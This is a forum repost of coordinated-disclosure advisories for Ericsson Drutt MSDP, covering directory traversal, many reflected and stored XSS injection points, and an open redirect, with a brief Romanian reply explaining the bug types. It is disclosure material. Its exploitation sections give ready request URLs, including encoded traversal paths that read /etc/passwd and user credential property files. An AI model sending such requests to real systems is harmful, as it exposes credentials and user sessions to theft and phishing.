Aerosol Posted April 1, 2015 Report Posted April 1, 2015 Ericsson Drutt MSDP (Instance Monitor) Directory Traversal / File Access+------------------------------------------------------------------------------------------------------++ Ericsson Drutt MSDP (Instance Monitor) - Directory Traversal Vulnerability and Arbitrary File Access ++------------------------------------------------------------------------------------------------------+Affected Product: Ericsson Drutt MSDP (Instance Monitor)Vendor Homepage : www.ericsson.comVersion : 4, 5 and 6 CVE v2 Vector : AV:N/AC:L/Au:N/C:P/I:N/A:NCVE : CVE-2015-2166Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]Patched : Yes+-------------++ Description ++-------------+Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf.The identified vulnerability affects the Instance Monitor component and allows a unauthenticated remote attacker to access arbitrary files on the file system. +----------------------++ Exploitation Details ++----------------------+This vulnerability can be triggered via a simple, similar to the below HTTP GET request(s): http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt/drutt/msdp/manager/conf/props/msdp-users.properties http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/opt/drutt/msdp/manager/conf/ccContext.properties+---------------------++ Disclosure Timeline ++---------------------+17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office24.Feb.2015 - Contacted Corporate Security Office team02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel02.Mar.2015 - Shared vulnerability details06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches08.Mar.2015 - Agreed on public disclosure timelines12.Mar.2015 - Patches released31.Mar.2015 - Public disclosureEricsson Drutt MSDP (Report Viewer) Cross Site Scripting+----------------------------------------------------------------------++ Ericsson Drutt MSDP (Report Viewer) - Cross Site Scripting Injection ++----------------------------------------------------------------------+Affected Product: Ericsson Drutt MSDP (Report Viewer)Vendor Homepage : www.ericsson.comVersion : 4, 5 and 6 CVE v2 Vector : AV:N/AC:M/Au:N/C:N/I:P/A:NCVE : CVE-2015-2165Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]+-------------++ Description ++-------------+Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf.The Report Viewer component contains a vulnerability (at multiple user-supplied input points) that could allow an unauthenticated, remote attacker to execute arbitrary code in the user's browser session in the context of the affected site. +----------------------++ Exploitation Details ++----------------------+The vulnerable input points and respective URL paths are listed below:1. http://<drutt:port>/reports/pages/top-links.jsp?portal=[XSS]&interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=clicks&sortDirection=desc&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=&atype=[XSS]&atitle=[XSS]2. http://<drutt:port>/reports/pages/page-summary.jsp?portal=[XSS]&uid=[XSS]3. http://<drutt:port>/reports/pages/top-useragent-devices.jsp?portal=[XSS]4. http://<drutt:port>/reports/pages/service-summary.jsp?portal=[XSS]&uid=[XSS]5. http://<drutt:port>/reports/pages/top-useragent-devices.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=reqs&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]6. http://<drutt:port>/reports/pages/top-interest-areas.jsp?portal=[XSS]&interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&top=10&sortOrder=asc&orderBy=urs&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]7. http://<drutt:port>/reports/pages/top-message-services.jsp?interval=Y&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=urs&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]8. http://<drutt:port>/reports/pages/user-statistics.jsp?portal=[XSS]&interval=Y&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]9. http://<drutt:port>/reports/pages/message-shortcode-summary.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=9397[XSS]&uid2=[XSS]&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=XSS10. http://<drutt:port>/reports/pages/message-providers-summary.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]11. http://<drutt:port>/reports/pages/license-summary.jsp?interval=D&fromDate=2015-02-11&toDate=2015-02-12&fromTime=00&toTime=00&usercategory=&orderBy=ival&sortDirection=desc&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]12. http://<drutt:port>/reports/pages/top-web-pages.jsp?portal=[XSS]&interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]13. http://<drutt:port>/reports/pages/top-devices.jsp?portal=[XSS]&interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]14. http://<drutt:port>/reports/pages/top-pages.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]15. http://<drutt:port>/reports/pages/useragent-device-summary.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=[XSS]&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]16. http://<drutt:port>/reports/pages/message-services-summary.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]17. http://<drutt:port>/reports/pages/top-message-providers.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]18. http://<drutt:port>/reports/pages/top-message-devices.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]19. http://<drutt:port>/reports/pages/top-message-assets.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]20. http://<drutt:port>/reports/pages/top-message-downloads.jsp?interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]21. http://<drutt:port>/reports/pages/top-message-shortcode.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]22. http://<drutt:port>/reports/pages/request-summary.jsp?interval=D&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=ival&sortDirection=desc&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]23. http://<drutt:port>/reports/pages/link-summary-select.jsp?portal=[XSS]24. http://<drutt:port>/reports/pages/link-summary.jsp?portal=[XSS]&interval=M&fromDate=2014-02&toDate=2015-02&fromTime=17&toTime=18&usercategory=&orderBy=ival&sortDirection=desc&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]25. http://<drutt:port>/reports/pages/session-summary.jsp?portal=[XSS]&show=a&interval=M&fromDate=2014-02[XSS]&toDate=2015-02[XSS]&fromTime=17[XSS]&toTime=18[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]26. http://<drutt:port>/reports/pages/provider-summary-select.jsp?portal=[XSS]27. http://<drutt:port>/reports/pages/provider-summary.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]28. http://<drutt:port>/reports/pages/top-providers.jsp?portal=[XSS]29. http://<drutt:port>/reports/pages/module-summary-select.jsp?portal=[XSS]30. http://<drutt:port>/reports/pages/module-summary.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]31. http://<drutt:port>/reports/pages/top-providers.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]32. http://<drutt:port>/reports/pages/top-modules.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]33. http://<drutt:port>/reports/pages/top-services.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS]+---------------------++ Disclosure Timeline ++---------------------+17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office24.Feb.2015 - Contacted Corporate Security Office team02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel02.Mar.2015 - Shared vulnerability details06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches08.Mar.2015 - Agreed on public disclosure timelines31.Mar.2015 - Public disclosureEricsson Drutt MSDP (3PI Manager) Cross Site Scripting+p-------------------------------------------------------------------++ Ericsson Drutt MSDP (3PI Manager) - Cross Site Scripting Injection ++--------------------------------------------------------------------+Affected Product: Ericsson Drutt MSDP (3PI Manager)Vendor Homepage : www.ericsson.comVersion : 4, 5 and 6 CVE v2 Vector : AV:N/AC:M/Au:N/C:N/I:P/A:NCVE : Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]Patched : Yes+-------------++ Description ++-------------+Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf.The 3PI Manager component contains a vulnerability that could allow an unauthenticated, remote attacker to execute arbitrary code in the user's browser session in the context of the affected site.+----------------------++ Exploitation Details ++----------------------+The vulnerable input point and respective URL path is listed below:http(s)://<drutt>:<port>/tpim/register.doPOST Data: companyName=aaa&contactPersonName=secuid0&contactPersonEmail=[XSS]&contactPersonPhone=aa&comment=&send.pressed=Save+---------------------++ Disclosure Timeline ++---------------------+17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office24.Feb.2015 - Contacted Corporate Security Office team02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel02.Mar.2015 - Shared vulnerability details06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches08.Mar.2015 - Agreed on public disclosure timelines12.Mar.2015 - Patches released31.Mar.2015 - Public disclosureSourceEricsson Drutt MSDP (3PI Manager) Open Redirect+------------------------------------------------------++ Ericsson Drutt MSDP (3PI Manager) - Open Redirection ++------------------------------------------------------+Affected Product: Ericsson Drutt MSDP (3PI Manager)Vendor Homepage : www.ericsson.comVersion : 4, 5 and 6 CVE v2 Vector : AV:N/AC:M/Au:S/C:N/I:P/A:NCVE : CVE-2015-2167Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]Patched : Yes+-------------++ Description ++-------------+Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf.The identified vulnerability affects the 3PI Manager component and allows remote attackers to redirect (authenticated) users to arbitrary web sites and conduct phishing attacks via unspecified vectors.+----------------------++ Exploitation Details ++----------------------+The vulnerable parameter and the respective URL path is listed below:http://<drutt>:<port>/jsp/start-3pi-manager.jsp?url=http://www.google.com+---------------------++ Disclosure Timeline ++---------------------+17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office24.Feb.2015 - Contacted Corporate Security Office team02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel02.Mar.2015 - Shared vulnerability details06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches08.Mar.2015 - Agreed on public disclosure timelines12.Mar.2015 - Patches released31.Mar.2015 - Public disclosure Quote
Aerosol Posted April 1, 2015 Author Report Posted April 1, 2015 Explica-mi si mie!.. ca eu nu am inteles bine.Ce nu ai inteles man?Cateva vulnerabilitati de tip XSS ( Cross Site Scripting )Open Redirect ( te redirectioneaza spre un link ales de tine, care poate fi un link ce injecteaza un cod malitios etc...) Quote
